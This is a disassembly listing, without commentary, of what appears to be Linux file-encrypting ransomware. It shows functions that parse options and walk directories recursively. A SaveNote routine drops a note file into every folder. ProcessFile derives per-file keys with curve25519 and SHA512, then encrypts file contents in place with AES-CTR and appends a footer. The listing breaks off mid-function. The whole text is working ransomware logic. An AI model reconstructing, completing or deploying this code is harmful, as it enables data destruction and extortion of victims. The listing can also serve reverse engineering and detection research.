    0040be44mov [rbp-20], edi
    0040be47mov [rbp-32], rsi
    0040be4bmov [rbp-40], rdx
    0040be4fcmp [rbp-20], 1
    0040be53jg 0x40be5c
    0040be55mov eax, 0
    0040be5ajmp 0x40bea0
    0040be5c
    0040be5cloc_40be5c:
    0040be5cmov [rbp-4], 1
    0040be63jmp 0x40be93
    0040be65
    0040be65loc_40be65:
    0040be65mov eax, [rbp-4]
    0040be68cdqe
    0040be6ashl rax, 3
    0040be6eadd rax, [rbp-32]
    0040be72mov rax, [rax]
    0040be75mov rdx, [rbp-40]
    0040be79mov rsi, rdx
    0040be7cmov rdi, rax
    0040be7fcall strcmp@plt
    0040be84test eax, eax
    0040be86jne 0x40be8f
    0040be88mov eax, 1
    0040be8djmp 0x40bea0
    0040be8f
    0040be8floc_40be8f:
    0040be8fadd [rbp-4], 1
    0040be93
    0040be93loc_40be93:
    0040be93mov eax, [rbp-4]
    0040be96cmp eax, [rbp-20]
    0040be99jl 0x40be65
    0040be9bmov eax, 0
    0040bea0
    0040bea0loc_40bea0:
    0040bea0leave
    0040bea1ret
    0040be3c
    0040bea2
    0040bea2argz_value:
    0040bea2push rbp
    0040bea3mov rbp, rsp
    0040bea6sub rsp, 48
    0040beaamov [rbp-20], edi
    0040beadmov [rbp-32], rsi
    0040beb1mov [rbp-40], rdx
    0040beb5cmp [rbp-20], 1
    0040beb9jg 0x40bec2
    0040bebbmov eax, 0
    0040bec0jmp 0x40bf20
    0040bec2
    0040bec2loc_40bec2:
    0040bec2mov [rbp-4], 1
    0040bec9jmp 0x40bf13
    0040becb
    0040becbloc_40becb:
    0040becbmov eax, [rbp-4]
    0040bececdqe
    0040bed0shl rax, 3
    0040bed4add rax, [rbp-32]
    0040bed8mov rax, [rax]
    0040bedbmov rdx, [rbp-40]
    0040bedfmov rsi, rdx
    0040bee2mov rdi, rax
    0040bee5call strcmp@plt
    0040beeatest eax, eax
    0040beecjne 0x40bf0f
    0040beeemov eax, [rbp-4]
    0040bef1add eax, 1
    0040bef4cmp eax, [rbp-20]
    0040bef7jge 0x40bf0f
    0040bef9mov eax, [rbp-4]
    0040befccdqe
    0040befeadd rax, 1
    0040bf02shl rax, 3
    0040bf06add rax, [rbp-32]
    0040bf0amov rax, [rax]
    0040bf0djmp 0x40bf20
    0040bf0f
    0040bf0floc_40bf0f:
    0040bf0fadd [rbp-4], 1
    0040bf13
    0040bf13loc_40bf13:
    0040bf13mov eax, [rbp-4]
    0040bf16cmp eax, [rbp-20]
    0040bf19jl 0x40becb
    0040bf1bmov eax, 0
    0040bf20
    0040bf20loc_40bf20:
    0040bf20leave
    0040bf21ret
    0040bea2
    0040bf22
    0040bf22ParseArgs:
    0040bf22push rbp
    0040bf23mov rbp, rsp
    0040bf26sub rsp, 48
    0040bf2amov [rbp-36], edi
    0040bf2dmov [rbp-48], rsi
    0040bf31mov rcx, [rbp-48]
    0040bf35mov eax, [rbp-36]
    0040bf38mov edx, 0x40f040
    0040bf3dmov rsi, rcx
    0040bf40mov edi, eax
    0040bf42call argz_value
    0040bf47mov [rbp-8], rax
    0040bf4bmov rcx, [rbp-48]
    0040bf4fmov eax, [rbp-36]
    0040bf52mov edx, 0x40f047
    0040bf57mov rsi, rcx
    0040bf5amov edi, eax
    0040bf5ccall argz_value
    0040bf61mov [rbp-16], rax
    0040bf65mov rcx, [rbp-48]
    0040bf69mov eax, [rbp-36]
    0040bf6cmov edx, 0x40f04d
    0040bf71mov rsi, rcx
    0040bf74mov edi, eax
    0040bf76call argz_value
    0040bf7bmov [rbp-24], rax
    0040bf7fcmp [rbp-24], 0
    0040bf84je 0x40bfe8
    0040bf86mov rax, [rbp-24]
    0040bf8amovzx eax, [rax]
    0040bf8dmovsx eax, al
    0040bf90cmp eax, 102
    0040bf93je 0x40bfad
    0040bf95cmp eax, 102
    0040bf98jg 0x40bfa1
    0040bf9acmp eax, 101
    0040bf9dje 0x40bfd1
    0040bf9fjmp 0x40bfdd
    0040bfa1
    0040bfa1loc_40bfa1:
    0040bfa1cmp eax, 109
    0040bfa4je 0x40bfb9
    0040bfa6cmp eax, 115
    0040bfa9je 0x40bfc5
    0040bfabjmp 0x40bfdd
    0040bfad
    0040bfadloc_40bfad:
    0040bfadmov [rip+0x204a01], 19
    0040bfb7jmp 0x40bfe8
    0040bfb9
    0040bfb9loc_40bfb9:
    0040bfb9mov [rip+0x2049f5], 5
    0040bfc3jmp 0x40bfe8
    0040bfc5
    0040bfc5loc_40bfc5:
    0040bfc5mov [rip+0x2049e9], 3
    0040bfcfjmp 0x40bfe8
    0040bfd1
    0040bfd1loc_40bfd1:
    0040bfd1mov [rip+0x2049dd], 0
    0040bfdbjmp 0x40bfe8
    0040bfdd
    0040bfddloc_40bfdd:
    0040bfddmov [rip+0x2049d1], 5
    0040bfe7nop
    0040bfe8
    0040bfe8loc_40bfe8:
    0040bfe8cmp [rbp-8], 0
    0040bfedje 0x40c007
    0040bfefmov rax, [rbp-8]
    0040bff3mov edx, 0x6109e0
    0040bff8mov esi, 44
    0040bffdmov rdi, rax
    0040c000call SplitString
    0040c005jmp 0x40c00c
    0040c007
    0040c007loc_40c007:
    0040c007mov eax, 0
    0040c00c
    0040c00cloc_40c00c:
    0040c00cmov [rip+0x2049c5], rax
    0040c013cmp [rbp-16], 0
    0040c018je 0x40c032
    0040c01amov rax, [rbp-16]
    0040c01emov edx, 0x6109f0
    0040c023mov esi, 44
    0040c028mov rdi, rax
    0040c02bcall SplitString
    0040c030jmp 0x40c037
    0040c032
    0040c032loc_40c032:
    0040c032mov eax, 0
    0040c037
    0040c037loc_40c037:
    0040c037mov [rip+0x2049aa], rax
    0040c03emov rcx, [rbp-48]
    0040c042mov eax, [rbp-36]
    0040c045mov edx, 0x40f054
    0040c04amov rsi, rcx
    0040c04dmov edi, eax
    0040c04fcall argz_option
    0040c054mov [rip+0x20499a], eax
    0040c05amov rcx, [rbp-48]
    0040c05emov eax, [rbp-36]
    0040c061mov edx, 0x40f05b
    0040c066mov rsi, rcx
    0040c069mov edi, eax
    0040c06bcall argz_option
    0040c070mov [rip+0x20495a], eax
    0040c076mov rcx, [rbp-48]
    0040c07amov eax, [rbp-36]
    0040c07dmov edx, 0x40f065
    0040c082mov rsi, rcx
    0040c085mov edi, eax
    0040c087call argz_option
    0040c08cmov [rip+0x204966], eax
    0040c092mov rcx, [rbp-48]
    0040c096mov eax, [rbp-36]
    0040c099mov edx, 0x40f06c
    0040c09emov rsi, rcx
    0040c0a1mov edi, eax
    0040c0a3call argz_value
    0040c0a8mov [rbp-32], rax
    0040c0accmp [rbp-32], 0
    0040c0b1je 0x40c0c5
    0040c0b3mov rax, [rbp-32]
    0040c0b7mov rdi, rax
    0040c0bacall atoi@plt
    0040c0bfmov [rip+0x204937], eax
    0040c0c5
    0040c0c5loc_40c0c5:
    0040c0c5mov rcx, [rbp-48]
    0040c0c9mov eax, [rbp-36]
    0040c0ccmov edx, 0x40f074
    0040c0d1mov rsi, rcx
    0040c0d4mov edi, eax
    0040c0d6call argz_option
    0040c0dbmov [rip+0x20491f], eax
    0040c0e1mov rcx, [rbp-48]
    0040c0e5mov eax, [rbp-36]
    0040c0e8mov edx, 0x40f07b
    0040c0edmov rsi, rcx
    0040c0f0mov edi, eax
    0040c0f2call argz_option
    0040c0f7mov [rip+0x204907], eax
    0040c0fdleave
    0040c0feret
    0040bf22
    0040c0ff
    0040c0ffPrintHelp:
    0040c0ffpush rbp
    0040c100mov rbp, rsp
    0040c103sub rsp, 16
    0040c107mov [rbp-4], edi
    0040c10amov [rbp-16], rsi
    0040c10emov rax, [rbp-16]
    0040c112mov rdx, [rax]
    0040c115mov eax, 0x40f082
    0040c11amov rsi, rdx
    0040c11dmov rdi, rax
    0040c120mov eax, 0
    0040c125call printf@plt
    0040c12amov edi, 0x40f099
    0040c12fcall puts@plt
    0040c134mov edi, 0x40f0a8
    0040c139call puts@plt
    0040c13emov edi, 0x40f0de
    0040c143call puts@plt
    0040c148mov edi, 0x40f0f8
    0040c14dcall puts@plt
    0040c152mov edi, 0x40f120
    0040c157call puts@plt
    0040c15cmov edi, 0x40f15b
    0040c161call puts@plt
    0040c166mov edi, 0x40f16a
    0040c16bcall puts@plt
    0040c170mov edi, 0x40f188
    0040c175call puts@plt
    0040c17amov eax, 0x40f1b0
    0040c17fmov rdi, rax
    0040c182mov eax, 0
    0040c187call printf@plt
    0040c18cmov eax, 0x40f1e0
    0040c191mov rdi, rax
    0040c194mov eax, 0
    0040c199call printf@plt
    0040c19emov eax, 0x40f220
    0040c1a3mov rdi, rax
    0040c1a6mov eax, 0
    0040c1abcall printf@plt
    0040c1b0mov eax, 0x40f258
    0040c1b5mov rdi, rax
    0040c1b8mov eax, 0
    0040c1bdcall printf@plt
    0040c1c2mov edi, 0x40f290
    0040c1c7call puts@plt
    0040c1ccmov edi, 0x40f2b8
    0040c1d1call puts@plt
    0040c1d6mov edi, 0x40f2e0
    0040c1dbcall puts@plt
    0040c1e0mov edi, 0x40f308
    0040c1e5call puts@plt
    0040c1eamov edi, 0x40f33b
    0040c1efcall puts@plt
    0040c1f4mov edi, 0x40f358
    0040c1f9call puts@plt
    0040c1feleave
    0040c1ffret
    0040c0ff
    0040c200
    0040c200PrintArgs:
    0040c200push rbp
    0040c201mov rbp, rsp
    0040c204mov edi, 0x40f382
    0040c209call puts@plt
    0040c20emov eax, [rip+0x2047bc]
    0040c214test eax, eax
    0040c216je 0x40c21f
    0040c218mov eax, 0x40f38c
    0040c21djmp 0x40c224
    0040c21f
    0040c21floc_40c21f:
    0040c21fmov eax, 0x40f38e
    0040c224
    0040c224loc_40c224:
    0040c224mov edx, 0x40f390
    0040c229mov rsi, rax
    0040c22cmov rdi, rdx
    0040c22fmov eax, 0
    0040c234call printf@plt
    0040c239mov eax, [rip+0x2047b9]
    0040c23ftest eax, eax
    0040c241je 0x40c24a
    0040c243mov eax, 0x40f38c
    0040c248jmp 0x40c24f
    0040c24a
    0040c24aloc_40c24a:
    0040c24amov eax, 0x40f38e
    0040c24f
    0040c24floc_40c24f:
    0040c24fmov edx, 0x40f3a8
    0040c254mov rsi, rax
    0040c257mov rdi, rdx
    0040c25amov eax, 0
    0040c25fcall printf@plt
    0040c264mov edx, [rip+0x204792]
    0040c26amov eax, [rip+0x20478c]
    0040c270test eax, eax
    0040c272je 0x40c27b
    0040c274mov eax, 0x40f38c
    0040c279jmp 0x40c280
    0040c27b
    0040c27bloc_40c27b:
    0040c27bmov eax, 0x40f38e
    0040c280
    0040c280loc_40c280:
    0040c280mov ecx, 0x40f3c8
    0040c285mov rsi, rax
    0040c288mov rdi, rcx
    0040c28bmov eax, 0
    0040c290call printf@plt
    0040c295mov eax, [rip+0x204765]
    0040c29btest eax, eax
    0040c29dje 0x40c2a6
    0040c29fmov eax, 0x40f38c
    0040c2a4jmp 0x40c2ab
    0040c2a6
    0040c2a6loc_40c2a6:
    0040c2a6mov eax, 0x40f38e
    0040c2ab
    0040c2abloc_40c2ab:
    0040c2abmov edx, 0x40f3ef
    0040c2b0mov rsi, rax
    0040c2b3mov rdi, rdx
    0040c2b6mov eax, 0
    0040c2bbcall printf@plt
    0040c2c0mov eax, [rip+0x20473e]
    0040c2c6test eax, eax
    0040c2c8je 0x40c2d1
    0040c2camov eax, 0x40f38c
    0040c2cfjmp 0x40c2d6
    0040c2d1
    0040c2d1loc_40c2d1:
    0040c2d1mov eax, 0x40f38e
    0040c2d6
    0040c2d6loc_40c2d6:
    0040c2d6mov edx, 0x40f408
    0040c2dbmov rsi, rax
    0040c2demov rdi, rdx
    0040c2e1mov eax, 0
    0040c2e6call printf@plt
    0040c2ebpop rbp
    0040c2ecret
    0040c200
    0040c2ed
    0040c2ed // align 0x10
    0040c2f0
    0040c2f0ThreadWorker:
    0040c2f0push rbp
    0040c2f1mov rbp, rsp
    0040c2f4sub rsp, 32
    0040c2f8mov [rbp-24], rdi
    0040c2fcjmp 0x40c2ff
    0040c2fe
    0040c2feloc_40c2fe:
    0040c2fenop
    0040c2ff
    0040c2ffloc_40c2ff:
    0040c2ffmov rax, [rip+0x204702]
    0040c306lea rdx, [rbp-16]
    0040c30amov rsi, rdx
    0040c30dmov rdi, rax
    0040c310call queue_get
    0040c315movsx eax, al
    0040c318mov [rbp-4], eax
    0040c31bcmp [rbp-4], 0
    0040c31fjs 0x40c2fe
    0040c321mov rax, [rbp-16]
    0040c325test rax, rax
    0040c328je 0x40c37b
    0040c32amov edi, 0x610a20
    0040c32fcall pthread_mutex_lock@plt
    0040c334mov eax, [rip+0x204696]
    0040c33atest eax, eax
    0040c33cje 0x40c357
    0040c33emov rdx, [rbp-16]
    0040c342mov eax, 0x40f42b
    0040c347mov rsi, rdx
    0040c34amov rdi, rax
    0040c34dmov eax, 0
    0040c352call printf@plt
    0040c357
    0040c357loc_40c357:
    0040c357mov edi, 0x610a20
    0040c35ccall pthread_mutex_unlock@plt
    0040c361mov rax, [rbp-16]
    0040c365mov rdi, rax
    0040c368call ProcessFile
    0040c36dmov rax, [rbp-16]
    0040c371mov rdi, rax
    0040c374call free@plt
    0040c379jmp 0x40c2fe
    0040c37b
    0040c37bloc_40c37b:
    0040c37bnop
    0040c37cmov edi, 0
    0040c381call pthread_exit@plt
    0040c2f0
    0040c386
    0040c386SaveNote:
    0040c386push rbp
    0040c387mov rbp, rsp
    0040c38asub rsp, 288
    0040c391mov [rbp-280], rdi
    0040c398mov rax, [rbp-280]
    0040c39fmov [rbp-288], -1
    0040c3aamov rdx, rax
    0040c3admov eax, 0
    0040c3b2mov rcx, [rbp-288]
    0040c3b9mov rdi, rdx
    0040c3bcrepne scasb [rdi], al
    0040c3bemov rax, rcx
    0040c3c1not rax
    0040c3c4sub rax, 1
    0040c3c8sub rax, 1
    0040c3ccadd rax, [rbp-280]
    0040c3d3movzx eax, [rax]
    0040c3d6cmp al, 47
    0040c3d8jne 0x40c401
    0040c3damov edx, 0x40f43f
    0040c3dfmov rcx, [rbp-280]
    0040c3e6lea rax, [rbp-272]
    0040c3edmov esi, 260
    0040c3f2mov rdi, rax
    0040c3f5mov eax, 0
    0040c3facall snprintf@plt
    0040c3ffjmp 0x40c426
    0040c401
    0040c401loc_40c401:
    0040c401mov edx, 0x40f44c
    0040c406mov rcx, [rbp-280]
    0040c40dlea rax, [rbp-272]
    0040c414mov esi, 260
    0040c419mov rdi, rax
    0040c41cmov eax, 0
    0040c421call snprintf@plt
    0040c426
    0040c426loc_40c426:
    0040c426mov edx, 0x40f45a
    0040c42blea rax, [rbp-272]
    0040c432mov rsi, rdx
    0040c435mov rdi, rax
    0040c438call fopen@plt
    0040c43dmov [rbp-8], rax
    0040c441cmp [rbp-8], 0
    0040c446je 0x40c4a2
    0040c448mov rax, [rip+0x2045c9]
    0040c44fmov [rbp-288], -1
    0040c45amov rdx, rax
    0040c45dmov eax, 0
    0040c462mov rcx, [rbp-288]
    0040c469mov rdi, rdx
    0040c46crepne scasb [rdi], al
    0040c46emov rax, rcx
    0040c471not rax
    0040c474lea rsi, [rax-1]
    0040c478mov rax, [rip+0x204599]
    0040c47fmov rdx, [rbp-8]
    0040c483mov rcx, rdx
    0040c486mov rdx, rsi
    0040c489mov esi, 1
    0040c48emov rdi, rax
    0040c491call fwrite@plt
    0040c496mov rax, [rbp-8]
    0040c49amov rdi, rax
    0040c49dcall fclose@plt
    0040c4a2
    0040c4a2loc_40c4a2:
    0040c4a2leave
    0040c4a3ret
    0040c386
    0040c4a4
    0040c4a4RecursiveSearch:
    0040c4a4push rbp
    0040c4a5mov rbp, rsp
    0040c4a8sub rsp, 48
    0040c4acmov [rbp-40], rdi
    0040c4b0mov rax, [rbp-40]
    0040c4b4mov rdi, rax
    0040c4b7call SaveNote
    0040c4bcmov rax, [rbp-40]
    0040c4c0mov rdi, rax
    0040c4c3call opendir@plt
    0040c4c8mov [rbp-8], rax
    0040c4cccmp [rbp-8], 0
    0040c4d1jne 0x40c6fa
    0040c4d7jmp 0x40c721
    0040c4dc
    0040c4dcloc_40c4dc:
    0040c4dcmov rax, [rbp-16]
    0040c4e0movzx eax, [rax+18]
    0040c4e4cmp al, 4
    0040c4e6jne 0x40c60b
    0040c4ecmov edi, 1024
    0040c4f1call malloc@plt
    0040c4f6mov [rbp-24], rax
    0040c4famov rax, [rbp-16]
    0040c4feadd rax, 19
    0040c502mov rdx, rax
    0040c505mov eax, 0x40f45c
    0040c50amov ecx, 2
    0040c50fmov rsi, rdx
    0040c512mov rdi, rax
    0040c515repe cmpsb [rdi], [rsi]
    0040c517seta dl
    0040c51asetb al
    0040c51dmov ecx, edx
    0040c51fsub cl, al
    0040c521mov eax, ecx
    0040c523movsx eax, al
    0040c526test eax, eax
    0040c528je 0x40c6f6
    0040c52emov rax, [rbp-16]
    0040c532add rax, 19
    0040c536mov rdx, rax
    0040c539mov eax, 0x40f45e
    0040c53emov ecx, 3
    0040c543mov rsi, rdx
    0040c546mov rdi, rax
    0040c549repe cmpsb [rdi], [rsi]
    0040c54bseta dl
    0040c54esetb al
    0040c551mov ecx, edx
    0040c553sub cl, al
    0040c555mov eax, ecx
    0040c557movsx eax, al
    0040c55atest eax, eax
    0040c55cje 0x40c6f6
    0040c562mov rax, [rbp-40]
    0040c566mov [rbp-48], -1
    0040c56emov rdx, rax
    0040c571mov eax, 0
    0040c576mov rcx, [rbp-48]
    0040c57amov rdi, rdx
    0040c57drepne scasb [rdi], al
    0040c57fmov rax, rcx
    0040c582not rax
    0040c585sub rax, 1
    0040c589sub rax, 1
    0040c58dadd rax, [rbp-40]
    0040c591movzx eax, [rax]
    0040c594cmp al, 47
    0040c596jne 0x40c5c4
    0040c598mov rax, [rbp-16]
    0040c59clea rsi, [rax+19]
    0040c5a0mov edx, 0x40f461
    0040c5a5mov rcx, [rbp-40]
    0040c5a9mov rax, [rbp-24]
    0040c5admov r8, rsi
    0040c5b0mov esi, 1024
    0040c5b5mov rdi, rax
    0040c5b8mov eax, 0
    0040c5bdcall snprintf@plt
    0040c5c2jmp 0x40c5ee
    0040c5c4
    0040c5c4loc_40c5c4:
    0040c5c4mov rax, [rbp-16]
    0040c5c8lea rsi, [rax+19]
    0040c5ccmov edx, 0x40f466
    0040c5d1mov rcx, [rbp-40]
    0040c5d5mov rax, [rbp-24]
    0040c5d9mov r8, rsi
    0040c5dcmov esi, 1024
    0040c5e1mov rdi, rax
    0040c5e4mov eax, 0
    0040c5e9call snprintf@plt
    0040c5ee
    0040c5eeloc_40c5ee:
    0040c5eemov rax, [rbp-24]
    0040c5f2mov rdi, rax
    0040c5f5call RecursiveSearch
    0040c5famov rax, [rbp-24]
    0040c5femov rdi, rax
    0040c601call free@plt
    0040c606jmp 0x40c6fa
    0040c60b
    0040c60bloc_40c60b:
    0040c60bmov edi, 1024
    0040c610call malloc@plt
    0040c615mov [rbp-32], rax
    0040c619mov rax, [rbp-40]
    0040c61dmov [rbp-48], -1
    0040c625mov rdx, rax
    0040c628mov eax, 0
    0040c62dmov rcx, [rbp-48]
    0040c631mov rdi, rdx
    0040c634repne scasb [rdi], al
    0040c636mov rax, rcx
    0040c639not rax
    0040c63csub rax, 1
    0040c640sub rax, 1
    0040c644add rax, [rbp-40]
    0040c648movzx eax, [rax]
    0040c64bcmp al, 47
    0040c64djne 0x40c67b
    0040c64fmov rax, [rbp-16]
    0040c653lea rsi, [rax+19]
    0040c657mov edx, 0x40f461
    0040c65cmov rcx, [rbp-40]
    0040c660mov rax, [rbp-32]
    0040c664mov r8, rsi
    0040c667mov esi, 1024
    0040c66cmov rdi, rax
    0040c66fmov eax, 0
    0040c674call snprintf@plt
    0040c679jmp 0x40c6a5
    0040c67b
    0040c67bloc_40c67b:
    0040c67bmov rax, [rbp-16]
    0040c67flea rsi, [rax+19]
    0040c683mov edx, 0x40f466
    0040c688mov rcx, [rbp-40]
    0040c68cmov rax, [rbp-32]
    0040c690mov r8, rsi
    0040c693mov esi, 1024
    0040c698mov rdi, rax
    0040c69bmov eax, 0
    0040c6a0call snprintf@plt
    0040c6a5
    0040c6a5loc_40c6a5:
    0040c6a5mov rax, [rip+0x2042fc]
    0040c6acmov rdx, [rbp-16]
    0040c6b0add rdx, 19
    0040c6b4mov rsi, rax
    0040c6b7mov rdi, rdx
    0040c6bacall strstr@plt
    0040c6bftest rax, rax
    0040c6c2jne 0x40c6f9
    0040c6c4mov rax, [rbp-16]
    0040c6c8add rax, 19
    0040c6ccmov esi, 0x40f46c
    0040c6d1mov rdi, rax
    0040c6d4call strstr@plt
    0040c6d9test rax, rax
    0040c6dcjne 0x40c6f9
    0040c6demov rax, [rip+0x204323]
    0040c6e5mov rdx, [rbp-32]
    0040c6e9mov rsi, rdx
    0040c6ecmov rdi, rax
    0040c6efcall queue_put_wait
    0040c6f4jmp 0x40c6fa
    0040c6f6
    0040c6f6loc_40c6f6:
    0040c6f6nop
    0040c6f7jmp 0x40c6fa
    0040c6f9
    0040c6f9loc_40c6f9:
    0040c6f9nop
    0040c6fa
    0040c6faloc_40c6fa:
    0040c6famov rax, [rbp-8]
    0040c6femov rdi, rax
    0040c701call readdir@plt
    0040c706mov [rbp-16], rax
    0040c70acmp [rbp-16], 0
    0040c70fjne 0x40c4dc
    0040c715mov rax, [rbp-8]
    0040c719mov rdi, rax
    0040c71ccall closedir@plt
    0040c721
    0040c721loc_40c721:
    0040c721leave
    0040c722ret
    0040c4a4
    0040c723
    0040c723 90 .
    0040c724
    0040c724GenerateRandom:
    0040c724push rbp
    0040c725mov rbp, rsp
    0040c728sub rsp, 32
    0040c72cmov [rbp-20], edi
    0040c72fmov edx, 0x40f477
    0040c734mov eax, 0x40f479
    0040c739mov rsi, rdx
    0040c73cmov rdi, rax
    0040c73fcall fopen@plt
    0040c744mov [rbp-8], rax
    0040c748cmp [rbp-8], 0
    0040c74djne 0x40c756
    0040c74fmov eax, 0
    0040c754jmp 0x40c792
    0040c756
    0040c756loc_40c756:
    0040c756mov eax, [rbp-20]
    0040c759cdqe
    0040c75bmov rdi, rax
    0040c75ecall malloc@plt
    0040c763mov [rbp-16], rax
    0040c767mov eax, [rbp-20]
    0040c76amovsxd rdx, eax
    0040c76dmov rax, [rbp-16]
    0040c771mov rcx, [rbp-8]
    0040c775mov esi, 1
    0040c77amov rdi, rax
    0040c77dcall fread@plt
    0040c782mov rax, [rbp-8]
    0040c786mov rdi, rax
    0040c789call fclose@plt
    0040c78emov rax, [rbp-16]
    0040c792
    0040c792loc_40c792:
    0040c792leave
    0040c793ret
    0040c724
    0040c794
    0040c794ProcessFile:
    0040c794push rbp
    0040c795mov rbp, rsp
    0040c798sub rsp, 608
    0040c79fmov [rbp-600], rdi
    0040c7a6mov rax, [rip+0x2041fb]
    0040c7admov [rbp-608], -1
    0040c7b8mov rdx, rax
    0040c7bbmov eax, 0
    0040c7c0mov rcx, [rbp-608]
    0040c7c7mov rdi, rdx
    0040c7carepne scasb [rdi], al
    0040c7ccmov rax, rcx
    0040c7cfnot rax
    0040c7d2sub rax, 1
    0040c7d6mov [rbp-20], eax
    0040c7d9mov rax, [rbp-600]
    0040c7e0mov [rbp-608], -1
    0040c7ebmov rdx, rax
    0040c7eemov eax, 0
    0040c7f3mov rcx, [rbp-608]
    0040c7famov rdi, rdx
    0040c7fdrepne scasb [rdi], al
    0040c7ffmov rax, rcx
    0040c802not rax
    0040c805sub rax, 1
    0040c809mov [rbp-24], eax
    0040c80cmov rax, [rbp-600]
    0040c813lea rdx, [rbp-240]
    0040c81amov rsi, rdx
    0040c81dmov rdi, rax
    0040c820call __lstat
    0040c825mov rax, [rbp-192]
    0040c82cmov [rbp-32], rax
    0040c830mov [rbp-8], 0
    0040c838mov edx, 0x40f486
    0040c83dmov rax, [rbp-600]
    0040c844mov rsi, rdx
    0040c847mov rdi, rax
    0040c84acall fopen@plt
    0040c84fmov [rbp-40], rax
    0040c853cmp [rbp-40], 0
    0040c858je 0x40cd24
    0040c85emov edi, 32
    0040c863call GenerateRandom
    0040c868mov [rbp-48], rax
    0040c86cmov edi, 32
    0040c871call malloc@plt
    0040c876mov [rbp-56], rax
    0040c87amov edi, 64
    0040c87fcall malloc@plt
    0040c884mov [rbp-64], rax
    0040c888mov edi, 0xf4240
    0040c88dcall malloc@plt
    0040c892mov [rbp-72], rax
    0040c896mov edi, 16
    0040c89bcall malloc@plt
    0040c8a0mov [rbp-80], rax
    0040c8a4mov edi, 16
    0040c8a9call malloc@plt
    0040c8aemov [rbp-88], rax
    0040c8b2mov [rbp-272], 0
    0040c8bdmov [rbp-264], 0
    0040c8c8mov [rbp-256], 0
    0040c8d3mov [rbp-248], 0
    0040c8demov [rbp-272], 9
    0040c8e5lea rax, [rbp-400]
    0040c8ecmov rdx, rax
    0040c8efmov eax, 0
    0040c8f4mov ecx, 14
    0040c8f9mov rdi, rdx
    0040c8fcrep stosq [rdi], rax
    0040c8ffmov rdx, rdi
    0040c902mov [rdx], eax
    0040c904add rdx, 4
    0040c908mov [rbp-296], 0xf4240
    0040c912mov eax, [rip+0x2040a0]
    0040c918mov [rbp-292], eax
    0040c91emov [rbp-288], 0
    0040c928mov rax, [rip+0x204079]
    0040c92flea rdx, [rbp-400]
    0040c936add rdx, 96
    0040c93amov rsi, rax
    0040c93dmov rdi, rdx
    0040c940call strcpy@plt
    0040c945mov rax, [rbp-48]
    0040c949movzx eax, [rax]
    0040c94cmov edx, eax
    0040c94eand edx, -8
    0040c951mov rax, [rbp-48]
    0040c955mov [rax], dl
    0040c957mov rax, [rbp-48]
    0040c95badd rax, 31
    0040c95fmov rdx, [rbp-48]
    0040c963add rdx, 31
    0040c967movzx edx, [rdx]
    0040c96aand edx, 127
    0040c96dmov [rax], dl
    0040c96fmov rax, [rbp-48]
    0040c973lea rdx, [rax+31]
    0040c977mov rax, [rbp-48]
    0040c97badd rax, 31
    0040c97fmovzx eax, [rax]
    0040c982or eax, 64
    0040c985mov [rdx], al
    0040c987lea rdx, [rbp-272]
    0040c98emov rcx, [rbp-48]
    0040c992lea rax, [rbp-400]
    0040c999mov rsi, rcx
    0040c99cmov rdi, rax
    0040c99fcall curve25519_donna
    0040c9a4mov rdx, [rip+0x204065]
    0040c9abmov rcx, [rbp-48]
    0040c9afmov rax, [rbp-56]
    0040c9b3mov rsi, rcx
    0040c9b6mov rdi, rax
    0040c9b9call curve25519_donna
    0040c9bemov rdx, [rbp-64]
    0040c9c2mov rax, [rbp-56]
    0040c9c6mov esi, 32
    0040c9cbmov rdi, rax
    0040c9cecall SHA512_Simple
    0040c9d3lea rax, [rbp-400]
    0040c9dalea rdx, [rax+32]
    0040c9delea rax, [rbp-400]
    0040c9e5mov esi, 32
    0040c9eamov rdi, rax
    0040c9edcall SHA512_Simple
    0040c9f2mov rdx, [rbp-64]
    0040c9f6mov rax, [rbp-80]
    0040c9famov rcx, [rdx]
    0040c9fdmov [rax], rcx
    0040ca00mov rdx, [rdx+8]
    0040ca04mov [rax+8], rdx
    0040ca08mov rax, [rbp-64]
    0040ca0clea rdx, [rax+16]
    0040ca10mov rax, [rbp-88]
    0040ca14mov rcx, [rdx]
    0040ca17mov [rax], rcx
    0040ca1amov rdx, [rdx+8]
    0040ca1emov [rax+8], rdx
    0040ca22mov rdx, [rbp-88]
    0040ca26mov rcx, [rbp-80]
    0040ca2alea rax, [rbp-592]
    0040ca31mov rsi, rcx
    0040ca34mov rdi, rax
    0040ca37call AES_init_ctx_iv
    0040ca3cmov rcx, [rbp-32]
    0040ca40mov rax, [rbp-40]
    0040ca44mov edx, 0
    0040ca49mov rsi, rcx
    0040ca4cmov rdi, rax
    0040ca4fcall fseeko@plt
    0040ca54lea rax, [rbp-400]
    0040ca5bmov rdx, [rbp-40]
    0040ca5fmov rcx, rdx
    0040ca62mov edx, 116
    0040ca67mov esi, 1
    0040ca6cmov rdi, rax
    0040ca6fcall fwrite@plt
    0040ca74
    0040ca74loc_40ca74:
    0040ca74mov rcx, [rbp-8]
    0040ca78mov rax, [rbp-40]
    0040ca7cmov edx, 0
    0040ca81mov rsi, rcx
    0040ca84mov rdi, rax
    0040ca87call fseeko@plt
    0040ca8cmov eax, [rbp-296]
    0040ca92movsxd rdx, eax
    0040ca95mov rax, [rbp-72]
    0040ca99mov rcx, [rbp-40]
    0040ca9dmov esi, 1
    0040caa2mov rdi, rax
    0040caa5call fread@plt
    0040caaamov [rbp-16], rax
    0040caaemov rax, [rbp-16]
    0040cab2mov rdx, [rbp-8]
    0040cab6add rax, rdx
    0040cab9sub rax, [rbp-32]
    0040cabdcmp rax, 116
    0040cac1jne 0x40cacf
    0040cac3mov rax, [rbp-16]
    0040cac7sub rax, 116
    0040cacbmov [rbp-16], rax
    0040cacf
    0040cacfloc_40cacf:
    0040cacfmov rdx, [rbp-16]
    0040cad3mov rcx, [rbp-72]
    0040cad7lea rax, [rbp-592]
    0040cademov rsi, rcx
    0040cae1mov rdi, rax
    0040cae4call AES_CTR_xcrypt_buffer
    0040cae9mov rcx, [rbp-8]
    0040caedmov rax, [rbp-40]
    0040caf1mov edx, 0
    0040caf6mov rsi, rcx
    0040caf9mov rdi, rax
    0040cafccall fseeko@plt
    0040cb01mov rdx, [rbp-16]
    0040cb05mov rax, [rbp-72]
    0040cb09mov rcx, [rbp-40]
    0040cb0dmov esi, 1
    0040cb12mov rdi, rax
    0040cb15call fwrite@plt
    0040cb1amov eax, [rbp-288]
    0040cb20add eax, 1
    0040cb23mov [rbp-288], eax
    0040cb29mov rcx, [rbp-32]
    0040cb2dmov rax, [rbp-40]
    0040cb31mov edx, 0
    0040cb36mov rsi, rcx
    0040cb39mov rdi, rax
    0040cb3ccall fseeko@plt
    0040cb41lea rax, [rbp-400]
    0040cb48mov rdx, [rbp-40]
    0040cb4cmov rcx, rdx
